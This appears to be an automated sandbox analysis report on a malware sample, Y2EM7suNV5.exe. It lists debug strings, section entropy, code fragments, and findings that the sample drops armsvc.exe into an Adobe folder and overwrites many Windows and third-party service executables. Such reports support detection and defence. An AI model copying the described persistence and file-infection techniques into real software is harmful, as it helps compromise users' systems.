Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Y2EM7suNV5.exe

Static file information: File size 1723392 > 1048576

Source: Y2EM7suNV5.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: Y2EM7suNV5.exe, 00000000.00000003.353173680.0000000003560000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe.0.dr
Source:	Binary string: msiexec.pdb source: armsvc.exe, 00000002.00000003.413283281.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.413472618.0000000002270000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe.2.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\ktab_objs\ktab.pdb source: armsvc.exe, 00000002.00000003.521532658.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\setupexe\x64\ship\0\setup.pdbx64\ship\0\setup.exe\bbtopt\setupO.pdb source: armsvc.exe, 00000002.00000003.519693470.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\klist_objs\klist.pdb source: armsvc.exe, 00000002.00000003.521479684.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\worksconv\x86\ship\0\wkconv.pdb source: armsvc.exe, 00000002.00000003.534057145.0000000002270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vssvc.pdb source: armsvc.exe, 00000002.00000003.440137496.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.431652960.0000000002420000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\misc_hev\x86\ship\0\msohtmed.pdb\ship\0\msohtmed.exe\bbtopt\msohtmedO.pdb source: armsvc.exe, 00000002.00000003.537823341.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: armsvc.exe, 00000002.00000003.404628634.0000000002060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sppsvc.pdb source: armsvc.exe, 00000002.00000003.421771156.0000000002420000.00000004.00001000.00020000.00000000.sdmp, sppsvc.exe.2.dr
Source:	Binary string: msiexec.pdbE3 source: armsvc.exe, 00000002.00000003.413283281.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.413472618.0000000002270000.00000004.00001000.00020000.00000000.sdmp, msiexec.exe.2.dr
Source:	Binary string: aspnet_state.pdb source: aspnet_state.exe.0.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\servertool_objs\servertool.pdb source: armsvc.exe, 00000002.00000003.521976661.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: FXSSVC.pdb source: armsvc.exe, 00000002.00000003.404575124.0000000002270000.00000004.00001000.00020000.00000000.sdmp, FXSSVC.exe.0.dr
Source:	Binary string: snmptrap.pdb@SH source: armsvc.exe, 00000002.00000003.420823947.0000000002310000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420850344.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420802639.0000000002280000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420749349.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420839833.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.421520810.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420741386.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420862482.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.421615194.0000000001FD0000.00000004.00001000.00020000.00000000.sdmp, snmptrap.exe.2.dr
Source:	Binary string: t:\worksconv\x86\ship\0\wkconv.pdb86\ship\0\wkconv.exe\bbtopt\wkconvO.pdb source: armsvc.exe, 00000002.00000003.534057145.0000000002270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdbGCTL source: armsvc.exe, 00000002.00000003.499396660.00000000014F0000.00000004.00001000.00020000.00000000.sdmp, WmiApSrv.exe.2.dr
Source:	Binary string: ehSched.pdb source: ehsched.exe.0.dr
Source:	Binary string: mscorsvw.pdbD source: armsvc.exe, 00000002.00000003.404373309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, mscorsvw.exe1.0.dr
Source:	Binary string: locator.pdb@SH source: armsvc.exe, 00000002.00000003.420646631.0000000001FD0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.419712522.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.419844328.0000000002270000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.2.dr
Source:	Binary string: locator.pdb source: armsvc.exe, 00000002.00000003.420646631.0000000001FD0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.419712522.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.419844328.0000000002270000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.2.dr
Source:	Binary string: msdtcexe.pdbE3 source: armsvc.exe, 00000002.00000003.408119305.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.408274251.0000000002270000.00000004.00001000.00020000.00000000.sdmp, msdtc.exe.2.dr
Source:	Binary string: x64\ship\0\setup.exe\bbtopt\setupO.pdb source: armsvc.exe, 00000002.00000003.519693470.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbH source: Y2EM7suNV5.exe, 00000000.00000003.359976686.0000000003650000.00000004.00001000.00020000.00000000.sdmp, Y2EM7suNV5.exe, 00000000.00000003.360630629.0000000003560000.00000004.00001000.00020000.00000000.sdmp, Y2EM7suNV5.exe, 00000000.00000003.359836712.0000000003640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\jjs_objs\jjs.pdb source: armsvc.exe, 00000002.00000003.521052500.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\pack200_objs\pack200.pdb source: armsvc.exe, 00000002.00000003.521638131.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdb source: armsvc.exe, 00000002.00000003.427848195.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.427310397.0000000002270000.00000004.00001000.00020000.00000000.sdmp, vds.exe.2.dr
Source:	Binary string: FXSSVC.pdbH source: armsvc.exe, 00000002.00000003.404575124.0000000002270000.00000004.00001000.00020000.00000000.sdmp, FXSSVC.exe.0.dr
Source:	Binary string: wbengine.pdb source: armsvc.exe, 00000002.00000003.455024585.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.447960735.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, wbengine.exe.2.dr
Source:	Binary string: t:\setupexe\x64\ship\0\setup.pdb source: armsvc.exe, 00000002.00000003.519693470.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: VSTOInstaller.pdb source: armsvc.exe, 00000002.00000003.534228468.0000000001610000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.534250578.0000000001500000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dllhost.pdb source: dllhost.exe.0.dr
Source:	Binary string: \ship\0\msohtmed.exe\bbtopt\msohtmedO.pdb source: armsvc.exe, 00000002.00000003.537823341.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\tnameserv_objs\tnameserv.pdb source: armsvc.exe, 00000002.00000003.522085769.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WMPNetwk.pdb source: armsvc.exe, 00000002.00000003.506227457.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.508569972.00000000014F0000.00000004.00001000.00020000.00000000.sdmp, wmpnetwk.exe.2.dr
Source:	Binary string: t:\misc_hev\x86\ship\0\msohtmed.pdb source: armsvc.exe, 00000002.00000003.537823341.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\kinit_objs\kinit.pdb source: armsvc.exe, 00000002.00000003.521373549.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ieetwcollector.pdb source: armsvc.exe, 00000002.00000003.406286682.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.406532528.0000000002270000.00000004.00001000.00020000.00000000.sdmp, ieetwcollector.exe.2.dr
Source:	Binary string: GoogleUpdate_unsigned.pdb source: armsvc.exe, 00000002.00000003.535781916.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: armsvc.exe, 00000002.00000003.521823699.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdb source: armsvc.exe, 00000002.00000003.519615432.0000000001610000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.415977020.0000000002270000.00000004.00001000.00020000.00000000.sdmp, OSE.EXE.2.dr
Source:	Binary string: PerfHost.pdb source: armsvc.exe, 00000002.00000003.419590946.0000000001FD0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.418684331.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.418833702.0000000002270000.00000004.00001000.00020000.00000000.sdmp, perfhost.exe.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb source: armsvc.exe, 00000002.00000003.519768899.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb\x86\ship\0\dw20.exe\bbtopt\dw20O.pdb source: armsvc.exe, 00000002.00000003.519768899.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb\ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdb source: armsvc.exe, 00000002.00000003.519825518.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\orbd_objs\orbd.pdb source: armsvc.exe, 00000002.00000003.521587153.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdbH source: armsvc.exe, 00000002.00000003.427848195.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.427310397.0000000002270000.00000004.00001000.00020000.00000000.sdmp, vds.exe.2.dr
Source:	Binary string: WmiApSrv.pdb source: armsvc.exe, 00000002.00000003.499396660.00000000014F0000.00000004.00001000.00020000.00000000.sdmp, WmiApSrv.exe.2.dr
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdby\x64\ship\0\ose.exe\bbtopt\oseO.pdb source: armsvc.exe, 00000002.00000003.519615432.0000000001610000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.415977020.0000000002270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdb@SH source: armsvc.exe, 00000002.00000003.455024585.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.447960735.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, wbengine.exe.2.dr
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdby\x64\ship\0\ose.exe\bbtopt\oseO.pdb D source: OSE.EXE.2.dr
Source:	Binary string: ALG.pdb source: Y2EM7suNV5.exe, 00000000.00000003.359976686.0000000003650000.00000004.00001000.00020000.00000000.sdmp, Y2EM7suNV5.exe, 00000000.00000003.360630629.0000000003560000.00000004.00001000.00020000.00000000.sdmp, Y2EM7suNV5.exe, 00000000.00000003.359836712.0000000003640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdb source: armsvc.exe, 00000002.00000003.519825518.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: armsvc.exe, 00000002.00000003.408119305.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.408274251.0000000002270000.00000004.00001000.00020000.00000000.sdmp, msdtc.exe.2.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\keytool_objs\keytool.pdb source: armsvc.exe, 00000002.00000003.521317508.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 86\ship\0\wkconv.exe\bbtopt\wkconvO.pdb source: armsvc.exe, 00000002.00000003.534057145.0000000002270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: armsvc.exe, 00000002.00000003.404628634.0000000002060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\rmid_objs\rmid.pdb source: armsvc.exe, 00000002.00000003.521768099.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\java-rmi_objs\java-rmi.pdb source: armsvc.exe, 00000002.00000003.520675108.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mscorsvw.pdb source: armsvc.exe, 00000002.00000003.404373309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.404494780.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.404436158.0000000002270000.00000004.00001000.00020000.00000000.sdmp, mscorsvw.exe1.0.dr, mscorsvw.exe0.0.dr, mscorsvw.exe.0.dr, mscorsvw.exe2.0.dr
Source:	Binary string: E:\r\ws\St_Make\code\build\win\results\FlashPlayerUpdateService\Release\Win32\FlashPlayerUpdateService.pdb source: Y2EM7suNV5.exe, 00000000.00000003.354914907.0000000003590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\policytool_objs\policytool.pdb source: armsvc.exe, 00000002.00000003.521699409.00000000014F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb source: armsvc.exe, 00000002.00000003.519825518.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb source: armsvc.exe, 00000002.00000003.420823947.0000000002310000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420850344.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420802639.0000000002280000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420749349.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420839833.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.421520810.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420741386.0000000002060000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.420862482.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.421615194.0000000001FD0000.00000004.00001000.00020000.00000000.sdmp, snmptrap.exe.2.dr
Source:	Binary string: \x86\ship\0\dw20.exe\bbtopt\dw20O.pdb source: armsvc.exe, 00000002.00000003.519768899.0000000001F40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ieetwcollector.pdbH source: armsvc.exe, 00000002.00000003.406286682.0000000002270000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.406532528.0000000002270000.00000004.00001000.00020000.00000000.sdmp, ieetwcollector.exe.2.dr
Source:	Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\toolkit\components\maintenanceservice\maintenanceservice.pdb source: armsvc.exe, 00000002.00000003.407575836.0000000002270000.00000004.00001000.00020000.00000000.sdmp, maintenanceservice.exe.2.dr
Source:	Binary string: ehRecvr.pdb source: ehrecvr.exe.0.dr
Source:	Binary string: y\x64\ship\0\ose.exe\bbtopt\oseO.pdb source: armsvc.exe, 00000002.00000003.519615432.0000000001610000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.415977020.0000000002270000.00000004.00001000.00020000.00000000.sdmp, OSE.EXE.2.dr

Source: armsvc.exe.0.dr	Static PE information: section name: .didat
Source: elevation_service.exe.2.dr	Static PE information: section name: .00cfg
Source: elevation_service.exe.2.dr	Static PE information: section name: .gxfg
Source: elevation_service.exe.2.dr	Static PE information: section name: .retplne
Source: elevation_service.exe.2.dr	Static PE information: section name: .voltbl
Source: elevation_service.exe.2.dr	Static PE information: section name: _RDATA

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6B180 push 00C6B0CAh; ret	2_2_00C6B061
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6B180 push 00C6B30Dh; ret	2_2_00C6B1E6
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6B180 push 00C6B2F2h; ret	2_2_00C6B262
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6B180 push 00C6B255h; ret	2_2_00C6B2ED
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6B180 push 00C6B2D0h; ret	2_2_00C6B346
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6B180 push 00C6B37Fh; ret	2_2_00C6B3B7
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6520C push 00C6528Fh; ret	2_2_00C6522D
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C87DF0 push 00C87D4Bh; ret	2_2_00C87D80
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C87DF0 push 00C87DD7h; ret	2_2_00C87D9F
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C87DF0 push 00C87D5Fh; ret	2_2_00C87DB3
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C87DF0 push 00C881E6h; ret	2_2_00C87E2D
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C87DF0 push 00C87FCCh; ret	2_2_00C882BB
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C87DF0 push 00C88468h; ret	2_2_00C8852D
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6CD65h; ret	2_2_00C6CC98
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6CD58h; ret	2_2_00C6CCD8
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6CE1Ch; ret	2_2_00C6CE1B
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6CFECh; ret	2_2_00C6CEB2
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D2B5h; ret	2_2_00C6CF7B
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D4CEh; ret	2_2_00C6CFB6
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D46Ch; ret	2_2_00C6CFD6
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D7C6h; ret	2_2_00C6D15E
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D003h; ret	2_2_00C6D1DD
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D19Fh; ret	2_2_00C6D27C
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D307h; ret	2_2_00C6D2E6
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D1C8h; ret	2_2_00C6D441
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D88Bh; ret	2_2_00C6D4CD
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D15Fh; ret	2_2_00C6D515
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D633h; ret	2_2_00C6D607
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D271h; ret	2_2_00C6D661
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6CEB5h; ret	2_2_00C6D706
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Code function: 2_2_00C6CE90 push 00C6D021h; ret	2_2_00C6D7C1

Source: Y2EM7suNV5.exe	Static PE information: section name: .reloc entropy: 7.924165504109751
Source: ehrecvr.exe.0.dr	Static PE information: section name: .reloc entropy: 7.928762172943537
Source: FXSSVC.exe.0.dr	Static PE information: section name: .reloc entropy: 7.919153467393239
Source: wbengine.exe.2.dr	Static PE information: section name: .reloc entropy: 7.914021188721449
Source: elevation_service.exe.2.dr	Static PE information: section name: .reloc entropy: 7.931483133414985
Source: wmpnetwk.exe.2.dr	Static PE information: section name: .reloc entropy: 7.904702446549239
Source: sppsvc.exe.2.dr	Static PE information: section name: .reloc entropy: 7.923473537099126
Source: SearchIndexer.exe.2.dr	Static PE information: section name: .reloc entropy: 7.922912945447297
Source: VSSVC.exe.2.dr	Static PE information: section name: .reloc entropy: 7.91223225922845

Persistence and Installation Behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\ehome\ehsched.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\ehome\ehrecvr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\System32\dllhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\ieetwcollector.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Windows\System32\sppsvc.exe	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	System file written: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Jump to behavior
